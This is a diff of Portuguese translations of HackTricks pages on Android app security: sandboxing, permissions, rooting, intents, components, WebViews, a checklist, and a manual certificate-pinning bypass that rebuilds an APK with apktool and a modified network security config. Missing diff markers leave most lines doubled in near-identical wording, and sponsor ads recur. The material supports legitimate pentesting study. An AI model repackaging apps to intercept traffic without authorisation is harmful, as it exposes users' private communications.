* O **próprio aplicativo**, que permite aos desenvolvedores **expor certas funcionalidades** e configurar as capacidades do aplicativo.
- O **SO**, que mantém as aplicações instaladas isoladas umas das outras.
- A **própria aplicação**, que permite aos desenvolvedores **expor certas funcionalidades** e configurar as capacidades da aplicação.
### Separação de UID
**Cada aplicativo é atribuído a um ID de Usuário específico**. Isso é feito durante a instalação do aplicativo para que o **aplicativo só possa interagir com arquivos de propriedade de seu ID de Usuário ou arquivos compartilhados**. Portanto, apenas o próprio aplicativo, certos componentes do SO e o usuário root podem acessar os dados dos aplicativos.
**Cada aplicação é atribuída a um ID de Usuário específico**. Isso é feito durante a instalação do aplicativo para que o **aplicativo possa interagir apenas com arquivos de propriedade do seu ID de Usuário ou arquivos compartilhados**. Portanto, apenas o próprio aplicativo, certos componentes do SO e o usuário root podem acessar os dados dos aplicativos.
### Compartilhamento de UID
**Dois aplicativos podem ser configurados para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se um deles for comprometido, os dados de ambos os aplicativos serão comprometidos. Por isso, esse comportamento é **desencorajado**.\
**Para compartilhar o mesmo UID, os aplicativos devem definir o mesmo valor `android:sharedUserId` em seus manifestos.**
**Duas aplicações podem ser configuradas para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se uma delas for comprometida, os dados de ambas as aplicações serão comprometidos. Por isso, esse comportamento é **desencorajado**.\
**Para compartilhar o mesmo UID, as aplicações devem definir o mesmo valor `android:sharedUserId` em seus manifestos.**
### Isolamento
A **Sandbox de Aplicativos Android** permite executar **cada aplicativo** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um aplicativo é executado isoladamente de outros aplicativos.\
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux negou todas as interações de processos e depois criou políticas para **permitir apenas as interações esperadas entre eles**.
A **Sandbox de Aplicativos Android** permite executar **cada aplicação** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um aplicativo é executado isoladamente de outros aplicativos.\
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux nega todas as interações de processos e então cria políticas para **permitir apenas as interações esperadas entre eles**.
### Permissões
Quando você instala um **aplicativo e ele solicita permissões**, o aplicativo está pedindo as permissões configuradas nos elementos **`uses-permission`** no arquivo **AndroidManifest.xml**. O elemento **uses-permission** indica o nome da permissão solicitada dentro do **atributo de nome**. Ele também possui o atributo **maxSdkVersion** que impede a solicitação de permissões em versões superiores à especificada.\
Observe que os aplicativos Android não precisam solicitar todas as permissões no início, eles também podem **solicitar permissões dinamicamente**, mas todas as permissões devem ser **declaradas** no **manifesto**.
Quando um aplicativo expõe funcionalidades, ele pode limitar o **acesso apenas a aplicativos que possuem uma permissão especificada**.\
Um elemento de permissão tem três atributos:
Quando um aplicativo expõe funcionalidades, ele pode limitar o **acesso apenas a aplicativos que possuem uma permissão específica**.\
Um elemento de permissão possui três atributos:
* O **nome** da permissão
* O atributo **permission-group**, que permite agrupar permissões relacionadas.
* O **nível de proteção** que indica como as permissões são concedidas. Existem quatro tipos:
* **Normal**: Usado quando não há **ameaças conhecidas** ao aplicativo. O usuário **não precisa aprovar**.
* **Perigoso**: Indica que a permissão concede ao aplicativo solicitante algum **acesso elevado**. **Os usuários são solicitados a aprová-los**.
* **Assinatura**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente podem receber permissão. Este é o tipo mais forte de proteção.
* **AssinaturaOuSistema**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente ou **aplicativos em execução com acesso de nível de sistema** podem receber permissões.
- O **nome** da permissão
- O atributo **permission-group**, que permite agrupar permissões relacionadas.
- O **nível de proteção** que indica como as permissões são concedidas. Existem quatro tipos:
- **Normal**: Usado quando não há **ameaças conhecidas** ao aplicativo. O usuário **não precisa aprovar**.
- **Perigoso**: Indica que a permissão concede ao aplicativo solicitante **acesso elevado**. **Os usuários são solicitados a aprová-los**.
- **Assinatura**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente podem receber permissão. Este é o tipo mais forte de proteção.
- **AssinaturaOuSistema**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente ou **aplicativos em execução com acesso de nível de sistema** podem receber permissões.
## Aplicativos Pré-Instalados
## Aplicações Pré-Instaladas
Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Esses aplicativos valem a pena verificar porque às vezes eles estão **executando com muitas permissões** (como root).
Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Vale a pena verificar esses aplicativos porque às vezes eles estão **executando com muitas permissões** (como root).
* Os enviados com o **AOSP** (Projeto de Código Aberto Android) **ROM**
* Adicionados pelo **fabricante** do dispositivo
* Adicionados pelo **provedor de telefonia celular** (se comprado deles)
- Os que são enviados com o **ROM** do **AOSP** (Projeto de Código Aberto Android)
- Adicionados pelo **fabricante** do dispositivo
- Adicionados pelo **provedor** de telefonia celular (se comprado deles)
## Rooting
## Root
Para obter acesso root a um dispositivo Android físico, geralmente é necessário **explorar** 1 ou 2 **vulnerabilidades** que costumam ser **específicas** para o **dispositivo** e **versão**.\
Depois que o exploit funcionar, geralmente o binário `su` do Linux é copiado para uma localização especificada na variável de ambiente PATH do usuário, como `/system/xbin`.
Depois que o binário su estiver configurado, outro aplicativo Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponível na Google Play Store).
Depois que o binário su estiver configurado, outro aplicativo Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponíveis na Google Play Store).
{% hint style="danger" %}
Observe que o processo de root é muito perigoso e pode danificar gravemente o dispositivo
Observe que o processo de root é muito perigoso e pode danificar severamente o dispositivo
{% endhint %}
### ROMs
@ -87,9 +79,9 @@ Observe que **nem sempre é necessário fazer root no dispositivo** para instala
### Implicações
Depois que um dispositivo é rooteado, qualquer aplicativo pode solicitar acesso como root. Se um aplicativo malicioso obtiver, ele terá acesso a quase tudo e poderá danificar o telefone.
Uma vez que um dispositivo é rooteado, qualquer aplicativo pode solicitar acesso como root. Se um aplicativo malicioso obtiver, ele terá acesso a quase tudo e poderá danificar o telefone.
## Fundamentos de Aplicativos Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
## Fundamentos de Aplicações Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- O formato de aplicativos Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado).
- Conteúdo do APK (Não exaustivo)
@ -102,7 +94,7 @@ Depois que um dispositivo é rooteado, qualquer aplicativo pode solicitar acesso
- **classes.dex**
- Contém bytecode Dalvik, representando o código Java (ou Kotlin) compilado que o aplicativo executa por padrão.
- lib/
- Abriga bibliotecas nativas, segregadas por arquitetura de CPU em subdiretórios.
- Armazena bibliotecas nativas, segregadas por arquitetura de CPU em subdiretórios.
- `armeabi`: código para processadores baseados em ARM
- `armeabi-v7a`: código para processadores baseados em ARMv7 e superiores
- `x86`: código para processadores X86
@ -111,44 +103,34 @@ Depois que um dispositivo é rooteado, qualquer aplicativo pode solicitar acesso
- Armazena arquivos diversos necessários pelo aplicativo, potencialmente incluindo bibliotecas nativas adicionais ou arquivos DEX, às vezes usados por autores de malware para ocultar código adicional.
- res/
- Contém recursos que não são compilados em resources.arsc
### **Dalvik & Smali**
No desenvolvimento Android, **Java ou Kotlin** é usado para criar aplicativos. Em vez de usar o JVM como em aplicativos de desktop, o Android compila este código em **Bytecode Executável Dalvik (DEX)**. Anteriormente, a máquina virtual Dalvik lidava com este bytecode, mas agora, o Android Runtime (ART) assume em versões mais recentes do Android.
Na desenvolvimento Android, **Java ou Kotlin** são usados para criar aplicativos. Em vez de usar o JVM como em aplicativos desktop, o Android compila esse código em **Dalvik Executable (DEX) bytecode**. Anteriormente, a máquina virtual Dalvik lidava com esse bytecode, mas agora, o Android Runtime (ART) assume em versões mais recentes do Android.
Para engenharia reversa, o **Smali** se torna crucial. É a versão legível por humanos do bytecode DEX, atuando como linguagem de montagem ao traduzir o código-fonte em instruções de bytecode. Smali e baksmali se referem às ferramentas de montagem e desmontagem neste contexto.
Para engenharia reversa, **Smali** se torna crucial. É a versão legível por humanos do bytecode DEX, atuando como linguagem de montagem ao traduzir o código-fonte em instruções de bytecode. Smali e baksmali se referem às ferramentas de montagem e desmontagem nesse contexto.
## Intents
***
Intents são o principal meio pelo qual os aplicativos Android se comunicam entre seus componentes ou com outros aplicativos. Esses objetos de mensagem também podem transportar dados entre aplicativos ou componentes, semelhante a como as solicitações GET/POST são usadas em comunicações HTTP.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Portanto, um Intent é basicamente uma **mensagem que é passada entre componentes**. Intents **podem ser direcionados** para componentes ou aplicativos específicos, **ou podem ser enviados sem um destinatário específico**.\
Para ser simples, um Intent pode ser usado para:
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
***
## Intenções
As intenções são o principal meio pelo qual os aplicativos Android se comunicam entre seus componentes ou com outros aplicativos. Esses objetos de mensagem também podem transportar dados entre aplicativos ou componentes, semelhante à forma como as solicitações GET/POST são usadas em comunicações HTTP.
Portanto, uma Intenção é basicamente uma **mensagem que é passada entre componentes**. As intenções **podem ser direcionadas** para componentes ou aplicativos específicos, **ou podem ser enviadas sem um destinatário específico**.\
Para ser simples, a Intenção pode ser usada para:
* Iniciar uma Activity, abrindo tipicamente uma interface de usuário para um aplicativo
* Iniciar uma Activity, normalmente abrindo uma interface de usuário para um aplicativo
* Como transmissões para informar o sistema e aplicativos sobre alterações
* Para iniciar, parar e se comunicar com um serviço em segundo plano
* Para iniciar, parar e comunicar com um serviço em segundo plano
* Para acessar dados via ContentProviders
* Como callbacks para lidar com eventos
Se vulnerável, **as Intenções podem ser usadas para realizar uma variedade de ataques**.
Se vulnerável, **Intents podem ser usados para realizar uma variedade de ataques**.
### Filtro de Intenção
### Intent-Filter
**Filtros de Intenção** definem **como uma atividade, serviço ou Receptor de Transmissão pode interagir com diferentes tipos de Intenções**. Essencialmente, eles descrevem as capacidades desses componentes, como quais ações podem executar ou os tipos de transmissões que podem processar. O local principal para declarar esses filtros é dentro do arquivo **AndroidManifest.xml**, embora para Receptores de Transmissão, codificá-los também seja uma opção.
**Intent Filters** definem **como uma atividade, serviço ou Broadcast Receiver pode interagir com diferentes tipos de Intents**. Essencialmente, eles descrevem as capacidades desses componentes, como quais ações podem executar ou os tipos de transmissões que podem processar. O local principal para declarar esses filtros é dentro do arquivo **AndroidManifest.xml**, embora para Broadcast Receivers, codificá-los também seja uma opção.
Os Filtros de Intenção são compostos por categorias, ações e filtros de dados, com a possibilidade de incluir metadados adicionais. Essa configuração permite que os componentes lidem com Intenções específicas que correspondam aos critérios declarados.
Os Intent Filters são compostos por categorias, ações e filtros de dados, com a possibilidade de incluir metadados adicionais. Essa configuração permite que os componentes lidem com Intents específicos que correspondam aos critérios declarados.
Um aspecto crítico dos componentes Android (atividades/serviços/provedores de conteúdo/receptores de transmissão) é sua visibilidade ou **status público**. Um componente é considerado público e pode interagir com outros aplicativos se for **`exportado`** com um valor de **`true`** ou se um Filtro de Intenção for declarado para ele no manifesto. No entanto, há uma maneira para os desenvolvedores manterem explicitamente esses componentes privados, garantindo que não interajam com outros aplicativos inadvertidamente. Isso é alcançado definindo o atributo **`exported`** como **`false`** em suas definições de manifesto.
Um aspecto crítico dos componentes Android (atividades/serviços/content providers/broadcast receivers) é sua visibilidade ou **status público**. Um componente é considerado público e pode interagir com outros aplicativos se for **`exported`** com um valor de **`true`** ou se um Intent Filter for declarado para ele no manifesto. No entanto, os desenvolvedores têm a opção de manter explicitamente esses componentes privados, garantindo que não interajam com outros aplicativos inadvertidamente. Isso é alcançado definindo o atributo **`exported`** como **`false`** em suas definições de manifesto.
Além disso, os desenvolvedores têm a opção de garantir ainda mais o acesso a esses componentes exigindo permissões específicas. O atributo **`permission`** pode ser definido para garantir que apenas aplicativos com a permissão designada possam acessar o componente, adicionando uma camada extra de segurança e controle sobre quem pode interagir com ele.
```java
@ -158,7 +140,7 @@ Além disso, os desenvolvedores têm a opção de garantir ainda mais o acesso a
```
### Intenções Implícitas
As intenções são criadas programaticamente usando um construtor de Intent:
As intenções são criadas programaticamente usando um construtor de Intenções:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
@ -195,7 +177,7 @@ Estas permitem que outras aplicações **realizem ações em nome da sua aplica
### Intenções de Transmissão
Ao contrário das intenções anteriores, que são recebidas apenas por uma aplicação, as intenções de transmissão **podem ser recebidas por várias aplicações**. No entanto, a partir da versão API 14, é **possível especificar a aplicação que deve receber** a mensagem usando Intent.setPackage.
Ao contrário das intenções anteriores, que são recebidas apenas por uma aplicação, as intenções de transmissão **podem ser recebidas por várias aplicações**. No entanto, a partir da versão da API 14, é **possível especificar a aplicação que deve receber** a mensagem usando Intent.setPackage.
Alternativamente, também é possível **especificar uma permissão ao enviar a transmissão**. A aplicação receptora precisará ter essa permissão.
@ -247,9 +229,9 @@ Saiba como [chamar deep links sem usar páginas HTML](./#exploiting-schemes-deep
## AIDL - Linguagem de Definição de Interface Android
A **Linguagem de Definição de Interface Android (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio de **comunicação entre processos** (IPC). Como acessar diretamente a memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao empacotar objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos.
A **Linguagem de Definição de Interface Android (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio da **comunicação entre processos** (IPC). Como acessar diretamente a memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao empacotar objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos.
### Conceitos Chave
### Conceitos Principais
- **Serviços Vinculados**: Esses serviços utilizam AIDL para IPC, permitindo que atividades ou componentes se vinculem a um serviço, façam solicitações e recebam respostas. O método `onBind` na classe do serviço é crucial para iniciar a interação, tornando-o uma área vital para revisão de segurança em busca de vulnerabilidades.
@ -265,7 +247,7 @@ Estes incluem: **Atividades, Serviços, Receptores de Transmissão e Provedores.
Nos aplicativos Android, as **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única ao usuário.
A **atividade de lançamento** é a porta de entrada principal para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. É definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas:
A **atividade de lançamento** é a principal porta de entrada para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. Ela é definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -316,11 +298,11 @@ Uma aplicação interessante dos serviços inclui a reprodução de música em s
Os **receptores de transmissão** atuam como ouvintes em um sistema de mensagens, permitindo que várias aplicações respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto receptores registrados dinamicamente também podem especificar permissões durante o registro.
Os **filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca.
**Filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca.
As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante observar o risco de segurança potencial, pois qualquer aplicativo pode se priorizar para interceptar uma transmissão.
Para entender a funcionalidade de um receptor, procure pelo método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intenção recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intenção.
Para entender a funcionalidade de um receptor, procure o método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intenção recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intenção.
### Provedor de Conteúdo
@ -328,7 +310,7 @@ Os **Provedores de Conteúdo** são essenciais para **compartilhar dados estrutu
A validação de entrada é fundamental para evitar vulnerabilidades, como injeção de SQL. Os Provedores de Conteúdo suportam operações básicas: `insert()`, `update()`, `delete()` e `query()`, facilitando a manipulação e compartilhamento de dados entre aplicativos.
**FileProvider**, um Provedor de Conteúdo especializado, foca em compartilhar arquivos de forma segura. Ele é definido no manifesto do aplicativo com atributos específicos para controlar o acesso a pastas, indicadas por `android:exported` e `android:resource` apontando para configurações de pasta. É aconselhável ter cautela ao compartilhar diretórios para evitar expor inadvertidamente dados sensíveis.
**FileProvider**, um Provedor de Conteúdo especializado, foca em compartilhar arquivos de forma segura. Ele é definido no manifesto do aplicativo com atributos específicos para controlar o acesso a pastas, indicados por `android:exported` e `android:resource` apontando para configurações de pasta. É aconselhável ter cautela ao compartilhar diretórios para evitar expor inadvertidamente dados sensíveis.
Exemplo de declaração no manifesto para FileProvider:
```xml
@ -352,20 +334,20 @@ Para mais informações, consulte:
## WebViews
WebViews são como **mini navegadores da web** dentro de aplicativos Android, extraindo conteúdo da web ou de arquivos locais. Eles enfrentam riscos semelhantes aos dos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações específicas**.
WebViews são como **mini navegadores da web** dentro de aplicativos Android, exibindo conteúdo tanto da web quanto de arquivos locais. Eles enfrentam riscos semelhantes aos dos navegadores regulares, mas existem maneiras de **reduzir esses riscos** por meio de **configurações específicas**.
O Android oferece dois tipos principais de WebView:
O Android oferece dois principais tipos de WebView:
- **WebViewClient** é ótimo para HTML básico, mas não suporta a função de alerta JavaScript, afetando como os ataques XSS podem ser testados.
- **WebChromeClient** age mais como a experiência completa do navegador Chrome.
Um ponto chave é que os navegadores WebView **não compartilham cookies** com o navegador principal do dispositivo.
Para carregar conteúdo, métodos como ````loadUrl````, ````loadData````, e ````loadDataWithBaseURL```` estão disponíveis. É crucial garantir que esses URLs ou arquivos sejam **seguros para uso**. As configurações de segurança podem ser gerenciadas por meio da classe ````WebSettings````. Por exemplo, desativar JavaScript com ````setJavaScriptEnabled(false)```` pode prevenir ataques XSS.
Para carregar conteúdo, métodos como ````loadUrl````, ````loadData````, e ````loadDataWithBaseURL```` estão disponíveis. É crucial garantir que esses URLs ou arquivos sejam **seguros para uso**. As configurações de segurança podem ser gerenciadas por meio da classe ````WebSettings````. Por exemplo, desativar o JavaScript com ````setJavaScriptEnabled(false)```` pode prevenir ataques XSS.
A "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com ````@JavascriptInterface```` para segurança a partir do Android 4.2.
A "Ponte" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com ````@JavascriptInterface```` para segurança a partir do Android 4.2.
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews alcancem Provedores de Conteúdo, o que poderia ser um risco, a menos que os URLs de conteúdo sejam verificados como seguros.
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews acessem Provedores de Conteúdo, o que poderia ser um risco, a menos que os URLs de conteúdo sejam verificados como seguros.
Para controlar o acesso a arquivos:
- Desativar o acesso a arquivos (````setAllowFileAccess(false)````) limita o acesso ao sistema de arquivos, com exceções para determinados ativos, garantindo que sejam usados apenas para conteúdo não sensível.
@ -393,17 +375,6 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
***
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -414,6 +385,6 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,9 +2,9 @@
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -12,19 +12,11 @@ Outras maneiras de apoiar o HackTricks:
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
Algumas aplicações não aceitam certificados baixados pelo usuário, então, para inspecionar o tráfego da web de algumas aplicações, na verdade, temos que descompilar o aplicativo e adicionar algumas coisas e recompilá-lo.
Algumas aplicações não aceitam certificados baixados pelo usuário, então, para inspecionar o tráfego web de algumas aplicações, precisamos descompilar o aplicativo e adicionar algumas coisas e recompilá-lo.
# Automático
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) irá **automaticamente** fazer as alterações necessárias no aplicativo para começar a capturar as solicitações e também desabilitará o pinning de certificados (se houver).
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) irá **automaticamente** fazer as alterações necessárias no aplicativo para começar a capturar as solicitações e também desabilitará o pinning de certificado (se houver).
# Manual
@ -57,29 +49,8 @@ Agora vá para a pasta **res/xml** e crie/modifique um arquivo chamado network\_
</base-config>
</network-security-config>
```
Em seguida, salve o arquivo e saia de todos os diretórios e reconstrua o apk com o seguinte comando: `apktool b *nome-da-pasta/* -o *arquivo-de-saída.apk*`
Em seguida, salve o arquivo e saia de todos os diretórios e reconstrua o apk com o seguinte comando: `apktool b *nome-da-pasta/* -o *nome-do-arquivo-de-saída.apk*`
![](../../.gitbook/assets/img12.png)
Por fim, você só precisa **assinar a nova aplicação**. [Leia esta seção da página Smali - Decompilando/\[Modificando\]/Compilando para aprender como assiná-la](smali-changes.md#sing-the-new-apk).
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -12,14 +12,6 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### [Aprenda os fundamentos do Android](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Noções básicas](android-app-pentesting/#fundamentals-review)
@ -33,13 +25,13 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
* [ ] [Intenções](android-app-pentesting/#intents)
* [ ] [Filtro de Intenções](android-app-pentesting/#intent-filter)
* [ ] [Outros componentes](android-app-pentesting/#other-app-components)
* [ ] Como usar o ADB (Android Debug Bridge)
* [ ] Como modificar o Smali
* [ ] [Como usar o ADB](android-app-pentesting/#adb-android-debug-bridge)
* [ ] [Como modificar o Smali](android-app-pentesting/#smali)
### [Análise Estática](android-app-pentesting/#static-analysis)
* [ ] Verifique o uso de [ofuscação](android-checklist.md#some-obfuscation-deobfuscation-information), verificações para saber se o dispositivo móvel foi rooteado, se está sendo usado um emulador e verificações anti-manipulação. [Leia mais informações aqui](android-app-pentesting/#other-checks).
* [ ] Aplicativos sensíveis (como aplicativos bancários) devem verificar se o dispositivo móvel foi rooteado e agir em conformidade.
* [ ] Verifique o uso de [ofuscação](android-checklist.md#some-obfuscation-deobfuscation-information), verificações para saber se o dispositivo móvel está rooteado, se está sendo usado um emulador e verificações anti-manipulação. [Leia mais informações aqui](android-app-pentesting/#other-checks).
* [ ] Aplicativos sensíveis (como aplicativos bancários) devem verificar se o dispositivo móvel está rooteado e agir em conformidade.
* [ ] Procure por [strings interessantes](android-app-pentesting/#looking-for-interesting-info) (senhas, URLs, APIs, criptografia, backdoors, tokens, UUIDs Bluetooth...).
* [ ] Atenção especial para as APIs do [firebase](android-app-pentesting/#firebase).
* [ ] [Leia o manifesto:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
@ -50,45 +42,26 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
* [ ] Serviços Expostos
* [ ] Receptores de Transmissão
* [ ] Esquemas de URL
* [ ] O aplicativo está salvando dados de forma insegura interna ou externamente?
* [ ] Existe alguma senha codificada ou salva em disco? O aplicativo está usando algoritmos de criptografia inseguros?
* [ ] O aplicativo está [salvando dados de forma insegura interna ou externamente](android-app-pentesting/#insecure-data-storage)?
* [ ] Existe alguma [senha codificada ou salva em disco](android-app-pentesting/#poorkeymanagementprocesses)? O aplicativo está [usando algoritmos de criptografia inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Todas as bibliotecas compiladas usando a flag PIE?
